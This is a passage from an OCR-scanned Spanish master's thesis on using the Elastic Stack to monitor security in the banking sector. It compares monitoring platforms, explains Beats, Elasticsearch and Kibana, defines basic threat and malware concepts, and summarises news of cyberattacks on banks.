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1. CAPITULO 1: INTRODUCCION

La seguridad informética o la ciberseguridad esta a la orden del dia. Cada vez
es mas comun ver noticias respecto a que una empresa ha sufrido un ciberataque.
Las organizaciones no soOlo se exponen a grandes pérdidas econdmicas, sino que

ademas pueden perder importantes cantidades de datos e informacion.

Por seguridad informética, entendemos que es el proceso por el cual una

organizacion intenta protegerse de estos ataques a sus sistemas informaticos.

Si una empresa quiere ser competitiva en los tiempos que corren debe contar
con sistemas, recursos y plataformas TIC &agiles y con un alto nivel de disponibilidad,
lo que exige una gestion efectiva y un amplio proceso de transformacioén digital. Este
altimo, es el punto critico ya que la informacion queda expuesta, si no se protege de

la manera adecuada.

Si visitamos https://cybermap.kaspersky.com/es, podemos encontrar un mapa

del mundo en el cual se visualizan en tiempo real las amenazas web, ataques a redes,
vulnerabilidades, etc. Si seleccionamos Esparfia, podemos ver que a nivel global esta
el nimero 9 del mundo. Es una posicién bastante elevada considerando que existen

194 paises en el mundo.

ESPANA
# 9 EL PATS MAS ATACADO

Mis detalles

Compartir informacién

llustracion 1: CyberMap en Espafia

Fuente: https://cybermap.kaspersky.com/es

Escuela Politécnica Superior de Jaén pag. 11


https://cybermap.kaspersky.com/es
https://cybermap.kaspersky.com/es

Marcos David Moreno Torres Estudio y puesta en practica de Elastic

Por lo tanto, somos conscientes de que existe un problema, al cual estamos
expuestos si no le ponemos solucion, y el primer paso es saber aplicar la seguridad

informatica con las herramientas adecuadas para ello.

1.1. Motivacion

En la actualidad el sector bancario se enfrenta a un gran desafio: evolucionar su
tecnologia al ritmo de las empresas mas grandes y dominantes de la industria de la
tecnologia de la informacion (Big Tech). Para las entidades financieras, a menudo no
es facil obtener informacion atil y conocimiento de la situacion real en relacién al
estado de la seguridad, tanto de sus servidores, dispositivos moviles, infraestructura
de red, terminales (ATMs) como de sus estaciones de trabajo. Esta es una “ventaja”
para los ciberatacantes, ya que les da la posibilidad de encontrar vulnerabilidades y

acceder a los sistemas.

La confianza es un factor clave en la adquisicion de clientes, por esto mismo, las
instituciones financieras son muy vulnerables frente a los posibles dafios de
reputacion provocados por fallos de seguridad. Los dafios en la reputacién y la imagen

son mayores que los ocasionados en los propios sistemas TI.

Segun un articulo del diario: expansion [1] la banca se encuentra en el 5° puesto,
como sector con mayores pérdidas econdémicas debido a los ciberataques. Para ser
mas exactos, hablamos de una previsién de unos 347 mil millones de dolares entre
los afios 2019 y 2023.
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VALORACION DEL RIESGO DE CIBERATAQUES POR INDUSTRIA

En miles de millones de dolares. Entre 2019 y 2023

: >Por tipo de ciberataque
Alta tecnologia _ 753 En porcentaje - - \
Ciencias de la vida I sfgl:g;rr'::
Automotor I 505
Bienes de consumo y servicios | NN 385 Ataque indirecto
Banca ] 347 ’ 2
Salud ] 347
Retail ] 340
Seguro ] 305
Equipo industrial I 283
Comunicaciones y medios ] 257
Recursos naturales I 223
Utilties I 219
Energia I 206 Ataque directo
Productos quimicos ] 147 ’ n
Transporte [ ] 10
Viajes [ 70
Mercados de capitales I 47

Fuente: Accenture Expansidn

llustracion 2: Valoracion del riesgo de ciberataques por industria

Fuente: https://www.expansion.com/economia-digital/companias/2019/01/25/5c4a342ee5fdeabc508b4677.html

Muchas de las cuestiones que afectan hoy a Internet se deben a su rapido
crecimiento tanto en aplicaciones como en usuarios. La totalidad de la economia
digital es ahora dependiente de Internet. La investigacion sefiala como la rapida
aparicion de nuevas tecnologias esta enfrentando a las organizaciones a nuevos
desafios de seguridad. Bancos como el Grupo Santander han elevado su inversion en

ciberseguridad a 400 millones de euros para los préximos tres afios.

No podemos perder de vista cudl es el activo mas importante para una empresa:
el dato. Gracias a esto, es posible conocer a los usuarios, identificar sus preferencias,
personalizar productos etc. Si una determinada empresa sufre una fuga de su
informacion, perdera la confianza de sus usuarios y esto se traduce en pérdidas

econdémicas mas alla del valor cuantitativo de la informacion perdida.

Esta informacién nos hace preguntarnos: ¢Cuanto debe invertir una empresa
como el sector bancario para protegerse? Esta es una cuestion que puede llegar a ser

un quebradero de cabeza para el CEO de una institucion.

Debido a esta delicada situacion, este Trabajo Fin de Master (TFM) esta
enfocado en una propuesta para la mitigacion de este problema, en concreto, en el

sector bancario.
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1.2.

Objetivos

Los objetivos de este Trabajo de Fin de Master (TFM) podemos dividirlos en los

siguientes puntos:

1.3.

Plantear un problema actual relacionado con la seguridad informatica a
un determinado sector y buscar una solucion para remediarlo.

Estudiar los principales ataques y vulnerabilidades que encontramos en
el sector bancario.

Estudiar algunas de las plataformas mas populares y utilizadas en el
mundo de la seguridad informatica.

Usar una de las tecnologias anteriores, Elasticsearch en este caso, para
la puesta en marcha de una simulacion de deteccion de ataque
informatico a datos bancarios.

Distinguir entre diferentes roles de usuarios dentro de la institucién para
revisar el estado de esta a nivel de seguridad informatica, asi como los
diferentes casos de uso.

Crear un informe sobre todo el desarrollo llevado a cabo, como memoria
del TFM.

Estructura del proyecto

La memoria constara de los siguientes apartados:

o Capitulo 1. Introduccién:

Este es el capitulo actual. En él se hace una presentacion del problema a
abordar y los objetivos de los que consta esta memoria.

o Capitulo 2. Estimacion temporal:

En este capitulo se detalla la estimacion de tiempo que ha sido necesaria para

el desarrollo de esta memoria, junto con algun tipo de diagrama (Gantt) que detalle el

tiempo invertido para cada punto.
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o Capitulo 3. Estudio de las plataformas de seguridad actuales:

Se muestra un analisis de algunas de las principales plataformas que existen
actualmente, con comparativas entre ellas. La finalidad de este capitulo es la eleccion

de una ellas para el desarrollo del supuesto practico.

o Capitulo 4. Estudio sobre las principales amenazas y ataques en el sector
bancario:

Aqui podemos ver un estudio detallado de cuales son los aspectos mas

vulnerables y, por lo tanto, mas comunmente explotados en el sector bancario. Una

vez hecho este andlisis, podremos ver qué herramientas contiene la plataforma de

seguridad seleccionada en el capitulo anterior para poder protegernos.

e Capitulo 5. Puesta en marcha:

En este capitulo se creara un entorno para simular el ataque a una entidad
bancaria para el robo de informacion de unos determinados clientes. Con el desarrollo
de la plataforma de seguridad seleccionada, podremos monitorizar y tomar medidas

al respecto.

e Capitulo 6. Kibana:

En este punto se mostrara una organizacién de roles en la plataforma (nivel
ejecutivo o nivel técnico), para diferenciar el tipo de informacion mostrada
dependiendo del nivel jerarquico dentro de la organizacion. También se analizaran los

datos de entrada y crearan diferentes dashboard con ellos.

o Capitulo 7. Conclusiones y trabajos futuros.

Para finalizar, se comentaran los resultados obtenidos y algunas propuestas

para futuras mejoras en la linea del proyecto.

De manera adicional, se adjunta un anexo, con los pasos necesarios para la

puesta en practica del proyecto.
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e Anexos

En los anexos he incluido, dos puntos. Por una parte, el manual para despliegue
de Elastic Cloud y por otra, un manual con todas las instalaciones necesarias para el

desarrollo del proyecto.
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2. CAPITULO 2: ESTIMACION TEMPORAL Y ECONOMICA

Este capitulo esta orientado a la estimacion de tiempo y esfuerzo que ha

supuesto el desarrollo de esta memoria.

2.1. Tareas del proyecto

El desarrollo del proyecto lo dividiré en tres partes:

2.1.1. Anédlisis

En esta parte se englobara todo lo relacionado con el estudio y analisis del
proyecto. Este proceso ha tenido una duracion de 24 dias. En este punto podemos

distinguir:

¢ Estudio de la situacion actual de la ciberseguridad en el mundo industrial.

e Estudio de las diferentes plataformas de monitorizacion de seguridad
informética actuales.

e Estudio sobre los principales ataques y amenazas al sector bancario, con

noticias actuales y medidas para remediarlas.

2.1.2. Implementacién

En esta parte se englobara todo lo relacionado con el desarrollo del proyecto.

Este proceso ha tenido una duracion de 21 dias. En este punto podemos distinguir:

¢ Instalacion del entorno de trabajo, es decir, las maquinas virtuales con sus
correspondientes sistemas operativos.

e Instalacion de las herramientas a utilizar en el servidor cliente. Esto
conlleva un servicio ftp, uno web, la herramienta Filebeaty el IDS Suricata.

e Uso de las diferentes herramientas del sistema operativo Kali Linux para
realizar ataques contra el servidor cliente.

e Despliegue de Elastic Cloud.
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2.1.3. Disefio del dashboard y analisis de la informacion obtenida

En esta parte se englobara todo lo relacionado con la tecnologia Elastic, para
ser mas concretos con Kibana. Este proceso ha tenido una duracién de 15 dias. En

este punto podemos distinguir:

e Desarrollo de un panel de visualizaciones para un trabajador de perfil mas
técnico.

e Desarrollo de un panel de visualizaciones para un trabajador de perfil mas
ejecutivo.

e Sistema de roles de acceso distinguiendo entre los dos perfiles anteriores.

2.2. Estimacion econémica
2.2.1. Presupuesto material

El precio del ordenador portatil es de 800€ el cual tendra un tiempo de durabilidad
medio de unos cinco afios. Por lo tanto, si calculo el tiempo de usabilidad durante el
desarrollo del proyecto (60 dias) el precio por su uso sera de: 26,30€. El detalle del precio
del despliegue de Elastic Cloud podemos encontrarlo en el “Anexo 2”. El precio por una
licencia “Standard” con los recursos basicos asciende a 0,02€/hora. Para el tiempo de

desarrollo del proyecto el precio seria: 28,8€

Ordenador portatil Msi i7-7700HQ 26,30 €
Despliegue Elastic Licencia Standard 28,8€
Cloud
Total 55,1€

Tabla 1: Presupuesto material

2.2.2. Sueldo trabajador

El sueldo de un analista programador esta establecido segun convenio publicado en
el BOE en 1438,08€ (https://www.boe.es/boe/dias/2018/03/06/pdfs/BOE-A-2018-

3156.pdf). Este sueldo se divide en unas 40 horas de trabajo semanales, normalmente
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dividido en unos 5 dias a la semana a 8 horas cada dia. Este calculo nos da como

resultado: 8,98€ /hora.

Persona que se 8,98€/hora 300 horas 2696,25 €
encargara de
desarrollar el

proyecto
Total 2696,25€

Tabla 2: Presupuesto mano de obra

Todo esto nos hace un total de: 2751,35€

2.3. Diagrama de Gantt

La mejor forma de poder representar el tiempo empleado en el desarrollo de la
memoria es un diagrama de Gantt. Esta es una herramienta grafica cuyo objetivo es
exponer el tiempo de dedicacidén previsto para diferentes tareas o actividades a lo

largo de un tiempo determinado [2].

Para la estimacion temporal se han considerado las actividades principales del
proyecto con una media de 5 horas diarias durante 60 dias. Haciendo la suma

obtenemos un total de 300 horas invertidas.
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3. CAPITULO 3: ESTUDIO DE LAS PLATAFORMAS DE
MONITORIZACION DE LA SEGURIDAD INFORMATICA

En este capitulo se expondra un estudio de algunas de las principales
plataformas de seguridad mas utilizadas en la actualidad. La particularidad que estas
tecnologias tienen en comun, es la monitorizacion de informacién. Algunos como
Elasticsearch ademas de monitorizar, es capaz de responder ante amenazas (SIEM,

del inglés Security Information and Event Management). Estos son algunos ejemplos:

3.1. PowerBI

PowerBI [3] es un servicio de analisis empresarial de Microsoft, su objetivo es
proporcionar visualizaciones interactivas y capacidades de inteligencia empresarial
con una interfaz lo suficientemente simple para que los usuarios finales creen sus

propios informes y paneles (dashboard).

g e

Click here to connect your data

$3.10K $32 95.9 Costs and CPA by Day
CPA t L .

ﬁ Facebook Ads b S II I o ~ B

$865.50 $367 24 Costs Conversions
((((((( Grouping Char ping

bt 013 & .

L] Ll

@ LinkedIn Ads . e
° .
. t LN
L] L

$1.35K $68 19.8

Grouping CPA d Conversions  Spends
Bing Ads Direct $0.00 7005
Display $1785 74
0 arch 000 L1646
. 959

$225.00 $87 2.6

llustracion 4: Dashboard disefiado en‘rbowerBI 7

Fuente: https://www.windsor.ai/microsoft-power-bi-multichannel-marketing-attribution-dashboard-template/

Entre sus principales funcionalidades ofrece:

¢ Integracion con cualquier servicio de Microsoft como office 365, Azure etc.

e Multiples conectores para diferentes fuentes como BBDD SQL.
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¢ Integracion de analisis avanzado a través de scripts y objetos visuales de
R.

¢ Andlisis de secuencias en tiempo real.
Entre las desventajas:

e Precio. El paquete premium para empresas cuesta 4212,30€ mensuales.

e Limitacion baja del nidmero de usuarios que tienen acceso a los
dashboard.

3.2. Prometheus

Prometheus [4] es un conjunto de monitoreo y alerta de sistemas de codigo

abierto construido en 2012.
Algunas de sus principales caracteristicas son:

¢ Utiliza un modelo de datos multidimensional con datos de series de tiempo
identificados por nombre de métrica y pares clave / valor

e No depende del almacenamiento distribuido, es decir, los nodos de
servidor Unico son autbnomos

e La recopilacién de series de tiempo ocurre a través de un modelo de
extraccion a través de HTTP.

e Elempuje de series de tiempo se admite a traves de una puerta de enlace

intermedia
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Service discovery Prometheus
shortlived alerting . pagerduty
o kubernetes file_sd ’
push metrics Alertmanager [ Email
atexit
discover .
targets * notify
H etc
Pushgateway | Prometheus server |
H push
alerts
~opull ] ; - k.| HTTP
metrics Retrieval TsDB server
PromQL

g — Prometheus
i web Ul
¥
-
Jobs/ Node HDD/SSD Grafana Data
R e visualization

exporters
and export

Prometheus
targets e APl clients

llustracion 5: Arquitectura de la plataforma Prometheus

Fuente: https://www.paradigmadigital.com/dev/puedo-prometer-y-prometheus/

Entre las desventajas:

e Es necesario el uso de un software auxiliar como Grafana para la

visualizacion de gréficos.
e Es 100% fiable siempre que se utilice para registrar cualquier serie de

tiempo puramente numérica.
3.3. Splunk

Splunk [5] es un software para buscar, monitorizar y analizar macrodatos

generados por maquinas de aplicaciones, sistemas e infraestructuras IT a través de

su interfaz web.
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llustracion 6: Dashboard disefiado en Splunk

Fuente: https://www.consist.de/en/technologies-tools/splunk/

Es una plataforma que permite investigar, monitorear, analizar y actuar con:

e Cualquier estructura, puede ingerir cualquier dato basado en texto.

e Cualquier fuente, ya sea en la nube, CRM o en instalaciones.

e Cualquier escala de tiempo.

e Cualquier Insight, aprovechando su médulo de Machine Learning / Al
avanzado para obtener informacion util sobre seguridad, TI, DevOps

7

mas.
Como desventajas de Splunk encontramos:

e Un precio elevado, el precio de un gigabyte de informacién esta en torno
a unos 3.840¢€.

e Proporciona una velocidad de busqueda mas lenta al intentar manejar

cantidades grandes de datos.

3.4. LogDNA

LogDNA [6] presenta una solucion de gestion de registros que permite a los

equipos de DevOps agregar todos los registros de sus sistemas y aplicaciones en una
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Unica plataforma. El andlisis automatico, la busqueda en lenguaje natural y las alertas

en tiempo real permiten a los equipos desarrollar y depurar sus aplicaciones.

logdna *Unsaved View ~ All Hosts 2 Apps All Levels

SELLLIY | LELML LU YLD

116, 4 :8Enm

R
info Th 0 log Lline

@ last ]

llustracion 7: Interfaz de LogDNA

w1
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1

Fuente: https://www.capterra.es/software/172632/logdna

Entre sus principales caracteristicas encontramos:

e Permite buscar sus registros a velocidades increibles, desde megabytes

hasta Petabytes.

e Su precio es bastante bajo, llegando a costar 2,56€ por gigabytes al mes
en el plan empresarial.

e Tiene una interfaz sencilla y facil de usar para sus usuarios.

e Garantiza que los datos estén completamente seguros en transito y en

reposo.

Como desventajas:

e Sus dashboard (paneles) son algo simples.
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3.5. Elastic

Shay Banon, libero la primera version en febrero de 2010. EI 5 de octubre de
2018, Elastic comenz6é a cotizar en la bolsa de Nueva York. Actualmente,

Elasticsearch ya corre en la version 7.9.2, publicada el 24 de septiembre del 2020.

El componente principal es Elasticsearch, un motor de busqueda, y a raiz de
este, la empresa ha ido creciendo incorporando nuevas funcionalidades acopladas a

este motor. En la actualidad, este es el “Elastic Stack” completo:

Elastic Stack

Beats L] Logstash “® Elasticsearch Kibana

I |

1 1 L
Lightweight Data Shippers Data Processing Pipeline Search & Analytics Engine Visualize & Manage

Filebeat | Log Input | beats, udp, tep, hit kafka, - ! — L Discover | i ilter v
; :

Metricbeat | M

Packetbeat | Networ
Heartheat | Upt

Winlogbeal | Windows Event Log:

Auditbeat | Aui

llustracion 8: Estructura ELK Stack

Fuente: https://galvarado.com.mx/post/introducci%C3%B3n-a-elastic-stack/

3.5.1. Componentes del Elastic Stack

3.5.1.1. Beats

Es una plataforma utilizada para transportar datos dentro del stack. Actian como
agentes, y su propoésito es el de entregar datos directamente a Elasticsearch y/o

Logstash. Existen diferentes tipos, segun la funcionalidad requerida:
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351.1.1. Filebeat

Es posiblemente la herramienta mas popular y utilizada de ELK Stack. Filebeat
es un cargador de registros que se instala como un agente en un determinado host.
Supervisa los archivos de registro o ubicaciones que se especifique para su posterior
indexacion el Elasticsearch o previa transformacion con Logstash. Viene con médulos
internos (Apache, Cisco ASA, Microsoft Azure, NGINX, MySQL y mas) que simplifican
la recopilacion, el analisis y la visualizacién de formatos de registro comunes con un

solo comando.

T 1

Input 1: Spooler

/var/log/*.log

Elasticsearch

Harvester

Logstash

4@

Harvester

o
il

Input 2:

/var/log/apache2/*

Harvester

h
|

Redis

Filebeat

llustracion 9: Modo de indexacién de Filebeat

Fuente: https://www.elastic.co/quide/en/beats/filebeat/current/filebeat-overview.html

3.51.1.2. Metricbeat

Su principal funcion es recopilar periodicamente métricas del sistema operativo
y de los servicios que se ejecutan en un determinado host. Una vez recopilados, se

indexan en Elasticsearch. Estos son algunos de los servicios que monitoriza:

e Apache.
e Haproxy.
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e MongoDB.

e MySQL.

e Nginx.

e PostgreSQL.
e Redis.

e Métricas del sistema (CPU, RAM, disco duro, trafico de red...)

e Zookeeper.

N
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llustracion 10: Dashboard en Kibana con métricas del sistema

Fuente: https://www.elastic.co/es/beats/metricbeat

3.5.1.1.3. Heartbeat

Se ejecuta como proceso en segundo plano con la finalidad de comprobar
peribdicamente el estado de los servicios y determinar si estan disponibles. A
diferencia de Metricbeat, que solo dice si un servidor esta activo o inactivo, Heartbeat
comprueba si los servicios estan accesibles. Es util para comprobar si se esta
cumpliendo con el tiempo de actividad de un servicio, o por ejemplo, para comprobar
gue una persona del exterior no pueda acceder a los servicios. Actualmente admite

monitorizacion para verificar hosts a través de:

e Solicitudes ICMP.
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llustracion 11: Dashboard en Kibana con monitorizaciéon de servicios

Fuente: https://www.elastic.co/es/beats/heartbeat

3.5.1.1.4. Packetbeat

Es un analizador de paquetes de red en tiempo real que puede proporcionar un

sistema de andlisis de rendimiento y monitoreo de aplicaciones. Packetbeat rastrea el

tréfico entre sus servidores, analiza los protocolos de nivel de aplicacion sobre la

marcha y correlaciona los mensajes en transacciones. Actualmente, Packetbeat

admite los siguientes protocolos:

ICMP (v4 y v6)
DHCP

DNS

HTTP
Casandra
MySQL
PostgreSQL
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e Redis

e Thift-RPC
e MongoDB
e Memcache
e NFS

e TLS
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IIustraC|on 12: Dashboard en Kibana con monltorlzacmn de red

Fuente: https://www.elastic.co/es/beats/packetbeat

3.5.1.1.5. Winlogbeat

Envia los registros de eventos de Windows a Elasticsearch o Logstash. Puede
instalarse como un servicio de Windows. Winlogbeat puede capturar datos de
cualquier registro de eventos que se ejecute en el sistema. Estos son algunos
ejemplos:

e Eventos de aplicaciéon
e Eventos de hardware.

e Eventos de seguridad.
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llustracién 13: Dashboard en Kibana con eventos de Windows

3.5.1.1.6.

Fuente: https://www.elastic.co/es/beats/winlogbeat

Auditbeat

Se puede instalar en un host para auditar las actividades de los usuarios y los

procesos en sus sistemas. Por ejemplo, se puede utilizar para recopilar y centralizar

eventos de auditoria desde Linux Audit Frameworks, detectar cambios en archivos

criticos o posibles violaciones de las politicas de seguridad.
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llustracion 14: Dashboard en Kibana con datos de auditoria

Fuente: https://www.elastic.co/es/beats/auditbeat

3.51.1.7. Functionbeat

Su principal funcion es la de recopilar datos de servicios en la nube y enviarlos

a Elastic Stack.

La version 7.9.3 admite la implementaciéon de Functionbeat como un servicio
AWS Lambda o Google Cloud Function. Responde a los disparadores definidos para

las siguientes fuentes de eventos:

e Registros de Amazon CloudWatch

e Servicio de cola simple de Amazon (SQS)
e Amazon kinesis

e Google Cloud Pub / Sub

¢ Almacenamiento en la nube de google
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llustracion 15: Esquema funcionamiento de Functionbeat

Fuente: https://www.elastic.co/es/beats/functionbeat

3.5.1.2. Logstash

Es un pipeline de procesamiento de datos open source que te permite ingestar
datos de multiples fuentes simultaneamente, enriquecerlos y transformarlos antes de

gue se indexen en Elasticsearch.

3.5.1.3. Elasticsearch

Es el corazén del Elastic Stack. El objetivo es realizar basquedas rapidas que
respalden nuestras aplicaciones. Para conocer el funcionamiento de este motor de

basqueda, primero hay que relacionarse con los siguientes términos:

e Indice: Es una coleccién de documentos que tienen caracteristicas
similares. Viene a ser similar, al concepto de Base de datos en un RDBMS
(sistema de gestion de base de datos relacionales.)

e Documento: Es la unidad basica de informacion que puede indexar. Este

documento se expresa en formato JSON.

e Query DSL: Lenguaje DSL basado en JSON para definir consultas.
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Nodo: Es un servidor que forma parte de un cluster. Este almacena
nuestros datos y participa en la indexacion y busqueda del cluster. Se
recomienda usar como minimo 3 nodos, uno como master y dos en modo
data. Esto se debe a que, si falla un nodo, uno cambiara su modo a master
y el otro servird de apoyo. De esta forma se podra seguir accediendo la
informacion mientras se repara el nodo dafado.

Claster: Es la coleccion de uno o mas nodos. En conjunto, contiene todos
los datos a buscar. Elasticsearch funciona como un entorno distribuido
con la replicacion entre nodos.

Fragmentos (Shards) y réplicas: Elasticsearch ofrece la capacidad de
subdividir el indice en varias piezas llamadas fragmentos. Al crear un
indice, es posible definir en cuantos shards se va a dividir este. Cada una
de estas piezas puede almacenarse de manera independiente en

cualquier nodo del cluster.

3.5.1.4. Kibana

Es una aplicacion web construida en Node.js para interactuar con la informacion

almacenada en los Cluster de Elasticsearch. El objetivo es poder filtrar y visualizar los

datos en forma de gréficas, métricas, diagramas, histogramas etc. Ofrece andlisis

automatico en tiempo real. Estas son algunas de las secciones que incluye:

Discover: Permite interactuar con la informacion almacenada.
Visualize: Aqui es donde se pueden crear, modificar y ver visualizaciones
para después afiadirlas a los dashboards.

Dashboard: Paneles que contienen un conjunto de visualizaciones. Es
posible filtrar e interactuar sobre las diferentes visualizaciones al mismo
tiempo.

Dev Tools: Ul para interactuar con la APl Rest de Elasticsearch.
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3.5.1.5. X-Pack

Es un médulo premium, que recientemente ha sido liberado bajo licencia propia.

Estos son los mdédulos que contiene:

Seguridad: Posibilidad de manejar usuarios y roles, integracion con
LDAP y SAML. Cifrado de la comunicaciéon con SSL/TSL.

Alertas: alertas sobre cambios en los datos.

Monitoreo: Monitorear el rendimiento, asi como el uso de los
componentes de Elasticsearch, Logstash y Kibana.

Reportes: Generar, programar, compartir documentos, visualizaciones o
dashboard enteros.

Graph: Ofrece un enfoque orientado a las relaciones que permite explorar
las conexiones en los datos.

Machine Learning: ejecutar tareas de machine learning sobre los datos

de manera que se puedan prevenir anomalias.

3.5.2. Usos de Elasticsearch

La velocidad y escalabilidad de Elasticsearch y su capacidad de indexar muchos

tipos de contenido significan que puede usarse para una variedad de casos usos muy

amplia. Estos son algunos ejemplos:

Blsqueda de aplicaciones.

Busqueda de sitio web.

Logging y analitica de log.

Métrica de infraestructura y monitoreo de contenedores
Monitoreo de rendimiento de aplicaciones.

Andlisis y visualizaciones de datos geoespaciales.
Analitica de Seguridad.

Analitica de Negocios.
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Actualmente es utilizado en diferentes empresas como:

e Netflix
e Orange

e Telefdnica,

e ING Spain.
e Edreams.
e Ebay.

e Eftc.

3.5.3. Opciones de despliegue

Existen diferentes formas de realizar el despliegue de una instancia de

Elasticsearch:

3.5.3.1. Descargando el paquete y lanzandolo en nuestro host:

Esta es la opcién mas basica para la instalacion de una instancia. Simplemente,
debemos acceder a la pagina oficial de Elasticsearch, descargar el paquete que se
ajuste a nuestra plataforma y arrancar el proceso. De esta manera en pocos minutos
tendremos un nodo de Elasticsearch. A partir de aqui las opciones son mudltiples,
podemos lanzar otro nodo de Elasticsearch, descargar una instancia de Kibana etc.
Toda la gestion, administracion y mantenimiento debe ser realizada por el usuario.

3.5.3.2. Elastic Cloud

Es una de las soluciones de SaaS desarrollada por el equipo de Elasticsearch
de manera que facilitan el despliegue, la operacion y el escalado de productos y
soluciones en la nube. Proporciona un menu administrativo en el cual es posible
gestionar toda la infraestructura, asi como actualizar versiones, ampliar recursos... al
alcance de un solo click. El despliegue se realiza en servicios de terceros como AWS,

Azure o GCP. Es la solucion mas comoda e incluye soporte.
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3.5.3.3. Kubernetes

Es un sistema de cadigo libre para la automatizacion del despliegue, ajuste de
escala y manejo de aplicaciones en contenedores. Gracias a esto es facil desplegar
varios nodos de Elasticsearch y configurarlos. Elastic ofrece una amplia variedad de

posibilidades para la adaptacion de sus aplicaciones en este tipo de tecnologias.
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4. CAPITULO 4: ESTUDIO SOBRE LAS PRINCIPALES AMENAZAS Y
ATAQUES AL SECTOR BANCARIO

Comenzaré este punto dividiéndolo en diferentes partes:

¢ Definicion de algunos conceptos de la ciberseguridad

e Recopilacién de articulos y/o noticias actuales sobre ciberataques al
sector bancario.

e Analisis sobre cuales son los principales y la razén de que sea asi.

e Best Practices y maneras de prevenir ataques.

4.1.Conceptos basicos de ciberseguridad

El primer concepto que hay que tener claro en el mundo de la ciberseguridad es

conocer la diferencia entre amenaza, riesgo y vulnerabilidad:

Entendemos como amenaza, a un incidente nuevo o recién descubierto que tiene
el potencial de dafar un sistema o la empresa en general. La vulnerabilidad se refiere
a una debilidad conocida de un activo (recurso) que puede ser explotada por uno o
mas atacantes. El riego se define como el potencial de pérdida o dafio cuando una

amenaza explota una vulnerabilidad.

Como podemos ver repasando estos conceptos, los tres estan ligados entre

ellos. Esto se puede apreciar mejor en la siguiente imagen:
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VULNERABILIDAD ™ o

AMENAZA P>

llustracion 16: Conceptos de ciberseguridad

Fuente: http://www.paot.org.mx/micrositios/riesgo-sismico/factores.html

La vulnerabilidad en este caso es la casa, ya que esta situada cerca de un monte
(amenaza), el cual tiene el riesgo de que tenga algun desprendimiento. Siguiendo con
este ejemplo, en el sector bancario, una vulnerabilidad puede ser un antivirus
desactualizado en un servidor, el riesgo es el acceso al sistema o robo de informacion
y la amenaza puede ser un ransomware que dicho antivirus desactualizado es incapaz

de detectar.

Dentro de las amenazas, podemos encontrarnos con diferentes tipos de
malware. Podemos definir un malware, como un software malicioso el cual realiza
acciones dafiinas en un sistema informéatico de forma intencionada y sin el

conocimiento del usuario. Estos son los principales:

e Ransomware: Es un tipo de malware que cifra el dispositivo que infecta,
bloqueando su uso y exigiendo un rescate para devolver la plena
funcionalidad del usuario.

e Troyano: Software malicioso disfrazado que parece ser legitimo. Una vez
activados, realizara cualquier tarea para la que hayan sido programados.

e Virus: se incorpora a los programas existentes y se activa cuando el
usuario lo abre. Ralentizan el funcionamiento del sistema por el consumo

de recursos y pueden eliminar datos.
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Gusanos: Su principal caracteristica es la posibilidad de propagarse a
través de dispositivos y redes. Se ocultan en la memoria RAM y pasan
desapercibidos hasta que ha infectado un gran niumero de dispositivos
consumiendo recursos del sistema.

Spyware: También denominado spybot, es un programa malicioso espia.
Se utiliza para recopilar informacion de un ordenador o dispositivo
informatico y transmitir la informacion a una entidad externa.
CrimeWare: Es un tipo de software que ha sido especificamente
disefiado para la ejecucion de delitos financieros en entornos en linea.
Adware: Se define como cualquier programa que sea capaz de mostrar
u ofrecer publicidad no deseada o engafiosa autométicamente. Lo
meétodos para hacerlo, pueden ser, desde ventanas flotantes, hasta en la

instalacion de algun programa, con el fin de generar lucro a sus autores.

e ne
&

llustracion 17: Tipos de malware

Fuente: https://www.adslzone.net/reportajes/seguridad/malware/

Existen diferentes formas de poder propagar un malware dentro de un sistema.

Estas son algunas de las mas comunes:

Ingenieria social: Es una técnica que pueden usar ciertas personas para
obtener informacion, acceso o permisos en un sistema informatico que les
permitan realizar dafos a la persona u organismo comprometidos. Un

ejemplo de este tipo de técnicas puede ser el phishing. Es un conjunto de
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técnicas que persiguen engafiar a un usuario ganandose su confianza
para que realice acciones que no deberia realizar, como descargar el
archivo adjunto de un correo con origen “desconocido”, pinchar en un
determinado enlace, etc. La mejor forma de evitar que nos apliquen
técnicas de ingenieria social dentro de nuestra organizacion es tener a los
usuarios bien formados sobre temas de ciberseguridad.

Explotando una vulnerabilidad o con un fallo de seguridad: bien del
sistema operativo o de algun programa que tengamos instalado. Para
evitar este problema conviene hacer actualizaciones periddicas ya que los

fabricantes solucionan problemas de seguridad dentro del software de

esta manera.

llustracion 18: Simil de ingenieria social

Fuente: http://pcworld.com.mx/30-de-las-computadoras-fueron-atacadas-por-archivos-maliciosos-este-ano/

Estos son algunos programas para la deteccion de intrusiones:

IDS: El sistema de deteccidn de intrusiones es un programa de deteccion
de accesos no autorizados a un computador o red. Suele tener sensores
virtuales, como sniffer por ejemplo, con lo que puede recopilar datos
externos. Gracias a estos sensores, es posible detectar anomalias que
pueden ser el indicio de ataques.
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e |PS: El sistema de prevencion de intrusiones es un software que ejerce el
control de acceso en una red de informéatica para proteger a los sistemas
computacionales de ataques y abusos. A groso modo funciona igual que
un IDS, con la diferencia de que una vez detectada una anomalia puede
tomar decisiones como cortar la comunicacion entre dos equipos. Es

comparable a un firewall.

4.2.Noticias/Articulos sobre ciberataques al sector bancario.

Teniendo claro los conceptos anteriores sera mas facil comprender algunas de

las noticias que expongo a continuacion.

4.2.1. Campafia de malware contra auténomos de BBVA [9]

Esta noticia fue publicada por el diario “El Independiente” el 17 de Agosto de
2020.

La noticia habla de un software malicioso con el que los ciberdelincuentes tienen
acceso al dispositivo. Les llegaba un correo a muchos autbnomos suplantando la
identidad del banco BBVA. En este, se les avisaba de que se iba a cancelar su cuenta
0 que podian quedarse sin liquidez. De esta forma el usuario rapidamente accedia al

enlace del correo y descargaba un fichero “visualizar.zip” que contenia el malware.

Aunque este ataque no tiene como principal objetivo el banco en si, si utiliza su
nombre para atacar los dispositivos de sus clientes. De alguna manera, se puede ver

dafiada la reputacion de la entidad con sus clientes.
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llustracion 19: Correo falso del BBVA con malware

Fuente: https://cincodias.elpais.com/cincodias/2020/08/18/pymes/1597744759 078452.html

4.2.2. El Banco Nacional de las Islas Caiman sufre un hackeo con firma
en espafol [10]

Esta noticia fue publicada por el diario “el mundo” el dia 19 de noviembre de

2019. La noticia habla de un ciberataque en el cual habian sustraido de la entidad

financiera “Cayman National” dinero y datos bancarios de miles de clientes. El ataque

fue realizado por el grupo “Phineas Fisher”, el mismo que afios atras hackeo las bases

de datos sindicales de los Mossos d Esquadra. Los mismos atacantes dieron pistas

con un comunicado del método llevado a cabo para sustraer la informacion y el dinero.

Hablan de metasploit, un software disefiado para explotar las vulnerabilidades que

han sido descubiertas y publicadas.

Lo que hace entender que el fallo de seguridad est& ligado a un sistema que no

